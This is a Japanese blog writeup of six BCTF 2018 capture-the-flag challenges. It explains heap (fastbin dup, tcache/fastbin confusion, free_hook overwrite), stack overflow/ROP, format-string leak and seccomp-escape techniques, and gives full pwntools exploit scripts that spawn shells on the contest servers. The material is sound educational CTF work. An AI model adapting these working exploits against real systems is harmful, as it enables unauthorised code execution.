つれづれなる備忘録

CTF関連の事やその他諸々

BCTF 2018 Writeup (Pwn & Misc)

最近,作った問題の紹介しかブログでしてないですよねーって言われたから,久しぶりに Writeup を投下します.

BCTF2018 で解いた Pwn と Misc 問題です.
大会で私が解いたのは,easiest, SOS, houseofAtum, easysandbox の4問のみで,残りの three と hardcore_fmt はチームメイトが解いたのですが,ついでに載せておきます.


easiest (Pwn 303pt, 47 solves)

Basic tech for pwner.
instance1: nc 39.96.9.148 9999
instance2 : nc 47.91.104.255 9999

下調べ

$ file easiest
easiest: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=90da1fce24ce6087ff8baf8ed8265bace7c276b4, stripped
$ checksec easiest
[*] '/home/yutaro/CTF/BCTF/easiest'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE が無効

プログラム概要

$ ./easist
HI!
1 add 
2 delete 
1
(0-11):0
Length:100
C:hoge
add success!

12個のエントリに対してデータの書き込みができる
サイズを指定して malloc で領域を確保し,書き込む
読み出す機能はない

delete してもポインタが消されないため,double free が可能
libcは配られていないが,2回連続で同じところをfreeすると死ぬため,tcache は無いと判断

  400946:       55                      push   rbp
  400947:       48 89 e5                mov    rbp,rsp
  40094a:       48 83 ec 10             sub    rsp,0x10
  40094e:       48 89 7d f8             mov    QWORD PTR [rbp-0x8],rdi
  400952:       bf c4 0d 40 00          mov    edi,0x400dc4
  400957:       b8 00 00 00 00          mov    eax,0x0
  40095c:       e8 4f fe ff ff          call   4007b0 <system@plt>
  400961:       c9                      leave  
  400962:       c3                      ret

stripされているが,system("/bin/sh") してくれる関数がいるから,ここにripを飛ばせば終了

方針

fastbin dup で fd 先を改竄し,バイナリ内の rw な領域が malloc で返るようにする.
stdin のアドレスが 0x7f で始まることを利用し,この1byte をサイズとみなせるように fdを addr_stdin -3 にする.
bssから確保したサイズ 0x68(0x70 byte) の領域に対して偽の stdout を作成する. この偽の stdout の vtables 内に,system を呼ぶ関数のアドレスを仕込む.

同じ要領で,今度は stdout を書き換える.
GOT の最後のエントリである exit はまだ呼ばれていないため,その値は 0x40 から始まる.
exit の GOT の直下にサイズ 0x38(0x40 byte) の領域が確保できるので,stdout を偽の stdout を指すように書き換える.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './easiest'
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'39.96.9.148', 'port':9999})
env.select()

#==========

binf = ELF(bin_file)
addr_shell          = 0x400946
addr_got_exit       = binf.got['exit']
addr_bss            = binf.sep_section['.bss']
addr_stdin          = binf.symbols['stdin']

addr_fake_stdout    = addr_bss - 0x68
addr_list           = addr_bss + 0x20

#==========

def attack(conn):
    ez = Easiest(conn)

    ez.add(0, 0x68, 'a'*8)
    ez.add(1, 0x68, 'b'*8)
    ez.delete(0)
    ez.delete(1)
    ez.delete(0)

    ez.add(0, 0x68, p64(addr_stdin + (5 - 8)))
    ez.add(0, 0x68, 'c'*8)
    ez.add(0, 0x68, 'd'*8)
    ez.add(1, 0x68, ('X'*3)+p64(addr_bss+0x100)+('\x00'*0x48)+p64((addr_bss-0x10)-0x38))

    ez.add(2, 0x38, 'A'*8)
    ez.add(3, 0x38, 'B'*8)
    ez.delete(2)
    ez.delete(3)
    ez.delete(2)

    ez.add(2, 0x38, p64(addr_got_exit + (2 - 8)))
    ez.add(2, 0x38, 'C'*8)
    ez.add(2, 0x38, 'D'*8)
    ez.add(3, 0x38, (('X'*6)+p64(addr_shell)).ljust(0x16, '\x00')+p64(addr_fake_stdout))

    conn.sendline('1')
    
class Easiest:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def add(self, idx, size, data):
        if env.check('remote'):
            self.sendlineafter('delete \n', '1\n{}\n{}\n{}'.format(idx, size, data))
        else:
            self.sendlineafter('delete \n', '1')
            self.sendlineafter('(0-11):', str(idx))
            self.sendlineafter('Length:', str(size))
            self.sendlineafter('C:', data)

    def delete(self, idx):
        if env.check('remote'):
            self.sendlineafter('delete \n', '2\n{}'.format(idx))
        else:
            self.sendlineafter('delete \n', '2')
            self.sendlineafter('(0-11):', str(idx))

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

SOS (Pwn 625pt, 23 solves)

nc 39.96.8.50 9999

下調べ

$ file SOS
SOS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=14c8a309bf031681a9ca5e57f3e3aad60b46bcbc, stripped
$ checksec SOS
[*] '/home/yutaro/CTF/BCTF/SOS'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

PIE が無効

プログラム概要

$ ./SOS
Welcome to String On the Stack!
Give me the string size: 
10
Alright, input your SOS code: 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

入力が終わらない

方針

スタックに対して入力が途切れないので,Stack BOF は自明
スタックの底まで入力を続ければ,不正なアドレスへの read が呼ばれるので,入力ループを脱して ROP に繋げることができる.

PIE が無効なので,libc のアドレスを GOT からリークして,bss領域に stack pivot すればよい.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './SOS'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file]}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'39.96.8.50', 'port':9999})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so')
env.select()

#==========

binf = ELF(bin_file)
addr_got_main       = binf.got['__libc_start_main']
addr_bss            = binf.sep_section['.bss']
addr_stack          = addr_bss + 0xe00
addr_read_noend     = 0x400aa6

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_main    = libc.sep_function['__libc_start_main']

#==========

def attack(conn):
    conn.sendlineafter('size: \n', '1')

    rop = ROP(binf)
    rop.puts(addr_got_main)
    rop.call(addr_read_noend, [addr_stack])
    rop.migrate(addr_stack)

    exploit  = 'a'*0x38
    exploit += str(rop)
    conn.sendafter('code: \n', exploit)

    while True:
        conn.send(p64(rop.ret.address)*0x40)
        if conn.can_recv(0.5):
            break

    addr_libc_main = u(conn.recvuntil('\n', drop=True))
    libc.address = addr_libc_main - offset_libc_main
    addr_libc_str_sh    = next(libc.search('/bin/sh'))
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    rop = ROP(libc)
    rop.execve(addr_libc_str_sh, 0, 0)
    conn.send(str(rop))

    conn.send('X'*0x100+'\n')

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

houseofAtum (Pwn 714pt, 9 solves)

Atum is Ne0's big brother. So Ne0 made this challenge to show his respect to Atum
nc 60.205.224.216 9999

下調べ

$ file houseofAtum
houseofAtum: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=ac40687beee1b00aa55c6dc25d383a41fbfdb0e2, not stripped
$ checksec houseofAtum
[*] '/home/yutaro/CTF/BCTF/houseofAtum'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラム概要

$ ./houseofAtum
1. new
2. edit
3. delete
4. show
Your choice:1
Input the content:hoge
Done!
1. new
2. edit
3. delete
4. show
Your choice:1
Input the content:fuga
Done!

メモを残せるサービス
new で作成ののち,edit で変更を加えたり show で内容を見たりすることができる.
ただし,作成できるエントリは2つまで

delete では,エントリを削除ののち,ポインタをクリアするか否かを選択できる.
つまり,UAF や double free が起こせる.

方針

一番大きな目標は libc のアドレスをリークすることにある.
それさえ叶えば,あとは free_hook を system にでも書き換えるだけで終了である.

ヒープ内から libc のアドレスをリークさせるためには,unsorted bins につながったチャンクの fd を読み出すのが手っ取り早い.
しかしながら,tcache が有効かつ確保されるヒープチャンクのサイズは 0x50 で fastbins の範疇で固定であるため,ひと工夫が必要である.

tcache でリンクに繋がれるアドレスはチャンクの先頭 +0x10 byte (ユーザ利用領域の先頭) であるのに対して,fastbins ではチャンクの先頭アドレスで繋がれることに着目する.
この差異を利用して,チャンクのサイズを改変することが可能になる.
fastbins の範囲を超える大きさのチャンクを見立てて consolidate into top することで,fastbins に繋がれるチャンクが malloc_consolidate() によって unsorted_bins につなぎ直される.
このチャンクを指しているエントリを show することで,libc のアドレスを読み出せばよい.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './houseofAtum'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'60.205.224.216', 'port':9999})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc.so.6')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_malloc_hook = libc.symbols['__malloc_hook']
offset_libc_mainarena   = offset_libc_malloc_hook + 0x10

#==========

def attack(conn):
    th = Atum(conn)

    th.new(('a'*0x8+p64(0x51))*4)   # 0
    th.new(('b'*0x8+p64(0x11))*4)   # 1

    for _ in range(2):
        th.delete(0, False)

    addr_heap_base = u(th.show(0)) - 0x260
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    for _ in range(5):
        th.delete(0, False)
    th.delete(1)
    th.delete(0)

    for _ in range(3):
        th.new('A'*8)       # 0
        th.new('B'*8)       # 1

        for _ in range(2):
            th.delete(0, False)
        th.delete(1)
        th.delete(0)

    th.new(p64(0)+p64(0x91))    # 0
    th.new('B'*8)               # 1

    for _ in range(8):
        th.delete(1, False)

    addr_libc_mainarena = u(th.show(0)) - 0x60
    libc.address = addr_libc_mainarena - offset_libc_mainarena
    addr_libc_free_hook = libc.symbols['__free_hook']
    addr_libc_system    = libc.sep_function['system']
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    th.edit(0, p64(0)+p64(0x51))
    th.delete(1)
    th.edit(0, '/bin/sh\x00'+p64(0x21)+p64(addr_libc_free_hook))
    th.new('B'*8)                   # 1
    th.delete(1)

    th.new(p64(addr_libc_system))   # 1
    conn.sendlineafter('choice:', '3')
    conn.sendlineafter('idx:', '0')
    
class Atum:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def new(self, data):
        self.sendlineafter('choice:', '1')
        self.sendafter('content:', data[:0x40])

    def edit(self, idx, data):
        self.sendlineafter('choice:', '2')
        self.sendlineafter('idx:', str(idx))
        self.sendafter('content:', data[:0x40])

    def delete(self, idx, clear=True):
        self.sendlineafter('choice:', '3')
        self.sendlineafter('idx:', str(idx))
        self.sendlineafter('(y/n):', 'y' if clear else 'n')

    def show(self, idx):
        self.sendlineafter('choice:', '4')
        self.sendlineafter('idx:', str(idx))
        self.recvuntil('Content:')
        return self.recvuntil('\nDone!', drop=True)


#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.sendline('cat ./flag')
    conn.interactive()
    
#==========

easysandbox (Misc 540pt, 18 solves)

can you escape this very very strong sandbox?
nc 39.105.151.182 9999

問題概要

こちらからプログラムを送り付けて,サンドボックス内(?)で実行させるサービス

__libc_start_main をフックして,seccomp を設定する共有ライブラリを LD_PRELOAD している.
seccomp の filter は次の通り

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

呼べるシステムコールは read, write, exit, exit_group だけ

方針

__libc_start_main を呼ばない ELF バイナリを実行させる

解法

# gcc shell.s -masm=intel -nostdlib -o shell

.intel_syntax noprefix

.global _start

_start:
        mov rax, 0x3b
        lea rdi, [rip+sh]
        xor rsi, rsi
        xor rdx, rdx
        syscall

sh:
        .string "/bin/sh"

three (Pwn 606pt, 14 solves)

This is a baby challenge to warm you up for the harder one.
nc 39.96.13.122 9999

下調べ

$ file three
three: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=340a44173cd2c079228c4207d1caa9b56a61407e, not stripped
$ checksec three
[*] '/home/yutaro/CTF/BCTF/three'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

プログラム概要

$ ./three
1. new
2. edit
3. delete
Your choice:1
Input the content:hoge
Done!

houseofAtum とほぼ同一(こちらの方が出題順は先だが)
エントリ数は3まで許容されるが,show機能が存在しない.

方針

兎にも角にも,libcのアドレスをリークさせたい.
houseofAtum に比べると,unsorted bins を利用してヒープ内に libc のアドレスを配置するのは容易である.
これを partial overwrite することで,libc 内に対して書き込みを行うことが可能になる.

リークを引き起こすために,stdout の _IO_write_ptr を改竄する.
stdout の _flags は _IO_CURRENTLY_PUTTING が元からセットされていたので,特に変更する必要はない.

libcのアドレスがわからないため,パーシャルで書き換えるにしても多少の brute force は必要である.
しかしながら幸いにして main_arena から stdout のターゲットまでの オフセットが 0xae0 byte 程度であったため,4bitの brute force で済む.
(大会中,12bit 必要とか言ってスマン この記事書きながら 4bit でいいじゃんってなった)

そんなこんなで libc のアドレスが漏れてくるので,あとは houseofAtum 同様に free_hook に system を書き込めばよい.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './three'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'39.96.13.122', 'port':9999})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc

#==========

def attack(conn):
    th = Three(conn)

    th.new('a'*8)               # 0
    th.new('b'*0x38+p64(0x11))  # 1
    th.delete(1)

    th.delete(0, False)
    th.delete(0, False)
    th.edit(0, chr(0x50))

    th.new('a'*8)               # 1
    th.new('x'*8)               # 2
    th.delete(0)

    th.edit(2, p64(0)+p64(0x91))
    for _ in range(8):
        th.delete(1, False)

    th.edit(1, '\x88\x87')      # libc partial

    th.new('a'*8)               # 0
    th.edit(2, p64(0)+p64(0x61))
    th.delete(0)

    th.new('\xff')              # 0
    conn.recv(5)
    libc.address =  u64(conn.recv(8)) - 0x3ed8c0
    addr_libc_free_hook = libc.symbols['__free_hook']
    addr_libc_system    = libc.sep_function['system']
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    th.edit(2, p64(0)+p64(0x51))
    th.delete(1)
    th.edit(2, '/bin/sh\x00'+p64(0x61)+p64(addr_libc_free_hook))
    th.new('a'*8)                   # 1
    th.delete(1)
    th.new(p64(addr_libc_system))   # 1
    conn.sendlineafter('choice:', '3')
    conn.sendlineafter('idx:', '2')
    
class Three:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def new(self, data):
        self.sendlineafter('choice:', '1')
        self.sendafter('content:', data[:0x40])

    def edit(self, idx, data):
        self.sendlineafter('choice:', '2')
        self.sendlineafter('idx:', str(idx))
        self.sendafter('content:', data[:0x40])

    def delete(self, idx, clear=True):
        self.sendlineafter('choice:', '3')
        self.sendlineafter('idx:', str(idx))
        self.sendlineafter('(y/n):', 'y' if clear else 'n')

#==========

if __name__=='__main__':
    while True:
        conn = communicate(env.mode, **env.target)
        try:
            attack(conn)
        except:
            conn.close()
            if env.check('debug'):
                break
            else:
                continue
        else:
            break
    conn.interactive()
    
#==========

hardcore_fmt (Pwn 606pt, 14 solves)

nc 39.106.110.69 9999

下調べ

$ file hardcore_fmt
hardcore_fmt: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4211d00aacd7ec376353515ea3535062567d8d87, not stripped
$ checksec hardcore_fmt
[*] '/home/yutaro/CTF/BCTF/hardcore_fmt'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

プログラム概要

最初に FSB があって,次に入力したアドレスの文字列を表示してくれて,最後に stack BOF するサービス(?)

.$ /hardcore_fmt
elcome to hard-core fmt
hoge %x %x
hoge ffffffff ffffffff
0
(nil): (null)aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

方針

最初の FSB で何かしらのアドレスをリークして,libc や canary を特定しないことには stack BOF から ROP に繋げられない.
FSBはあるが, __printf_chk であるため,%N$ に類するものは使えないことに加え,レジスタやスタックは -1 で埋め尽くされているため %x は使えない.

%a を投げつけると,double 型を引数として 16進法で表示してくれる.
これを利用すると,3つめのでld,4つめでtls のアドレスが漏れてくることがわかる.

libc と ld の相対位置は不変であるから libc のアドレスは求めることができた.
master canary は tls + 0x28 の位置に存在するため,文字列表示の機能を利用して特定できる.

あとは ROP をするだけ.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './hardcore_fmt'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'39.106.110.69', 'port':9999})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc

#==========

def attack(conn):
    conn.sendlineafter('fmt\n', '%a%a %a %a')

    conn.recvuntil(' 0x0.')
    addr_ld_rw      = int(conn.recvuntil('p', drop=True), 16)*0x100 - 0x100
    info('addr_ld_rw        = 0x{:08x}'.format(addr_ld_rw))
    libc.address    = addr_ld_rw - 0x61a000
    addr_libc_str_sh    = next(libc.search('/bin/sh'))
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))

    conn.recvuntil(' 0x0.')
    addr_tls        = int(conn.recvuntil('p', drop=True), 16)*0x100
    info('addr_tls          = 0x{:08x}'.format(addr_tls))

    conn.sendline(str(addr_tls + 0x29))
    conn.recvuntil(': ')
    canary = u64('\x00'+conn.recv(7))
    info('canary            = 0x{:08x}'.format(canary))

    rop = ROP(libc)
    rop.system(addr_libc_str_sh)

    exploit  = 'a'*0x108
    exploit += p64(canary)
    exploit += p64(0xdeadbeef)*3
    exploit += p64(rop.ret.address)
    exploit += str(rop)

    conn.sendline(exploit)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========